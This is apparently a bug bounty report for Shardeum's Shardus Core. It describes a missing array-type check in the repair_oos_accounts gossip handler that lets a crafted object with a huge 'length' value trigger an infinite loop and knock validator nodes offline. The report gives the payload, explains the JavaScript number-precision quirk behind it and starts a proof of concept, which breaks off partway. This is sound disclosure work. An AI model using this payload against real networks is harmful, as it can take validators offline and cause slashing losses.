33941 - [BC - Critical] A missing check for the type of a variable allo...

Submitted on Aug 2nd 2024 at 11:11:29 UTC by @infosec_us_team for Boost | Shardeum: Core

Report ID: #33941

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

• Network not being able to confirm new transactions (total network shutdown)

• Direct loss of funds

Description

Brief/Intro

In this report, we demonstrate how missing a check that ensures a user-controlled input is of type Array, allows for an attacker to send a maliciously crafted gossip message that unexpectedly disconnects active nodes from the network.

Disconnecting nodes from the active set without allowing them to send or receive gossip messages during the process exposes them to a slashing mechanism, causing loss of funds to victim nodes.

An alternative attack vector is to disconnect all active nodes and any new node that joins the active set, except for malicious ones.

Controlling all nodes in a cycle leads to a loss of funds by manipulating the outcome of any transaction.

About The Attack Vector

Before pointing out the vulnerable code, it is important to understand how the attack vector works and why. In this section, we explain it with easy-to-understand examples.

Take a look at the following javascript code:

// USER-CONTROLLED INPUT
let greetings = ["hi", "hey", "hello"]

// SERVER-SIDE CODE
for (let i = 0; i < greetings.length; i++) {

    if (greetings[i] === "hello") {
        // do something here...
    }

}

The variable greetings is user input and the developer is expecting the user to provide an array of greetings.

But what can go wrong if we don't enforce the variable greetings to be of type array?

A malicious user can supply an object instead of an array, containing a field length with a number big enough to brick any application that tries to loop that many times in a row:

// USER-CONTROLLED INPUT
let greetings = { "length": "10000000000000001" }

// SERVER-SIDE CODE
for (let i = 0; i < greetings.length; i++) {

    if (greetings[i] === "hello") {
        // do something here...
    }

}

Due to how math with large numbers works in Javascript, a length of "10000000000000001" is enough to cause an infinite loop and brick the application.

In our report with ID 33745 we explain how the Javascript type "Number" loses precision when operating with large numbers such as 10000000000000000, and how the result of adding 10000000000000000 + 1 in Javascript automatically rounds back to 10000000000000000 (stays the same), no matter how many times in a row you add +1 to it.

For a quick test, open your browser console and send 10000000000000000 + 1, you may expect the output to be 10000000000000001 but it will be 10000000000000000.

For more info about Javascript's Math Quirks check our report 33745.

Vulnerability Details

The vulnerable function is the handler for the internal gossip route repair_oos_accounts.

https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/AccountPatcher.ts#L336-L487

Its execution flow starts by looping from an array of repairInstructions, extracting an accountID, txId, hash, accountData, targetNodeId and receipt2, and finally processing those fields.

this.p2p.registerInternal(
  'repair_oos_accounts',
  async (
    payload: { repairInstructions: AccountRepairInstruction[] },
    respond: (arg0: boolean) => Promise<boolean>,
    _sender: unknown,
    _tracker: string,
    msgSize: number
  ) => {
    profilerInstance.scopedProfileSectionStart('repair_oos_accounts', false, msgSize)

    try {
      for (const repairInstruction of payload?.repairInstructions) {
        const { accountID, txId, hash, accountData, targetNodeId, receipt2 } = repairInstruction

Code snippet from: https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/AccountPatcher.ts#L336-L349

The only field relevant to our report is payload .repairInstructions .receipt2 .appliedVote .account_idwhich is expected to be an array, but is not enforced in the code with a check, allowing a malicious sender to pass a variable of any other type.

After running some validity checks on the rest of the fields - which we are not diving deep into because they are irrelevant for the exploit to work - the code loops using the length field of the payload.repairInstructions.receipt2.appliedVote.account_id variable.

for (let i = 0; i < receivedBestVote.account_id.length; i++) {

  if (receivedBestVote.account_id[i] === accountID) {

      // SOME CODE HERE

  }

}

Code snippet from: https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/AccountPatcher.ts#L413-L422

When sending an object instead of an array, with a field length and the value 10000000000000001, it loops infinitely until the execution bricks, the validator stops responding to other nodes and is quicked out of the network.

Recommended fix

Validate the type of the variable account_id to ensure it is an array.

Impact Details

• All other endpoints (HTTP and Gossips) of the victim node become unresponsive. Visiting or requesting any of them will timeout.

• The rest of the nodes start to timeout their requests to the victim node and report him as lost, which may lead to a slashing event for becoming unresponsive without gossiping anything to the rest of the network.

• The victim node is removed from the network.

• It can be exploited to remove specific nodes and force them to be slashed or to remove as many nodes as possible to attempt to take over the active validators set.

Proof of Concept

Download locally Shardus Core repo and Shardeum's repo locally.

Apply the following patch to the Shardeum repo:

git apply debug-10-nodes.patch

Now point Shardeum to use the local copy of Shardu's Core as instructed in the README.md file of Shardeum's codebase.

In your local copy of Shardeum, open the file ./src/index.ts and add the following function in line L1094 (https://github.com/shardeum/shardeum/blob/dev/src/index.ts#L1094)

  shardus.registerExternalPost('infosec_gossipAnything/', externalApiMiddleware, async (req, res) => {
    try {
      const obj = JSON.parse(JSON.stringify(req.body));

      const route = req.query.route as string;

      const pk = req.query.pk as string;
      let node = shardus.getNodeByPubKey(pk);

      console.log(`INFOSEC: sending to node: ${JSON.stringify({ node })}`);
      await shardus.p2p.tell([node], route, obj, true, '')

      return res.json({ "ok": 1 });
    } catch (e) {
      return res.json({ "error": e });
    }
  });

The code snippet above creates an HTTP POST entry point that allows us to instruct a malicious node to gossip any message using any desired route to another node.

In your local copy of Shardus Core, open the file ./src/state-manager/AccountPatcher.ts and add the following function in line L335 (https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/AccountPatcher.ts#L335)

    this.p2p.registerInternal(
      'infosec_repair_oos_accounts',
      async (
        payload: { repairInstructions: AccountRepairInstruction[] },
        respond: (arg0: boolean) => Promise<boolean>,
        _sender: unknown,
        _tracker: string,
        msgSize: number
      ) => {
        profilerInstance.scopedProfileSectionStart('repair_oos_accounts', false, msgSize)

        try {
          for (const repairInstruction of payload?.repairInstructions) {
            const { accountID, txId, hash, accountData, targetNodeId, receipt2 } = repairInstruction

            // check if we are the target node
            //if (targetNodeId !== Self.id) {
            //  nestedCountersInstance.countEvent('accountPatcher', `repair_oos_accounts: not target node for txId: ${txId}`)
            //  continue
            //}

            // check if we cover this accountId
            //const storageNodes = this.stateManager.transactionQueue.getStorageGroupForAccount(accountID)
            //const isInStorageGroup = storageNodes.map((node) => node.id).includes(Self.id)
            //if (!isInStorageGroup) {
            //  nestedCountersInstance.countEvent('accountPatcher', `repair_oos_accounts: not in storage group for account: ${accountID}`)
            //  continue
            //}
            // check if we have already repaired this account
            //const accountHashCache = this.stateManager.accountCache.getAccountHash(accountID)
            //if (accountHashCache != null && accountHashCache.h === hash) {
            //  nestedCountersInstance.countEvent('accountPatcher', `repair_oos_accounts: already repaired account: ${accountID}`)
            //  continue
            //}
            //if (accountHashCache != null && accountHashCache.t > accountData.timestamp) {
            //  nestedCountersInstance.countEvent('accountPatcher', `repair_oos_accounts: we have newer account: ${accountID}`)
            //  continue
            //}

            //const archivedQueueEntry = this.stateManager.transactionQueue.getQueueEntryArchived(txId, 'repair_oos_accounts')

            //if (archivedQueueEntry == null) {
            //  nestedCountersInstance.countEvent('accountPatcher', `repair_oos_accounts: no archivedQueueEntry for txId: ${txId}`)
            //  this.mainLogger.debug(`repair_oos_accounts: no archivedQueueEntry for txId: ${txId}`)
            //  continue
            //}

            // check the vote and confirmation status of the tx
            //const bestMessage = receipt2.confirmOrChallenge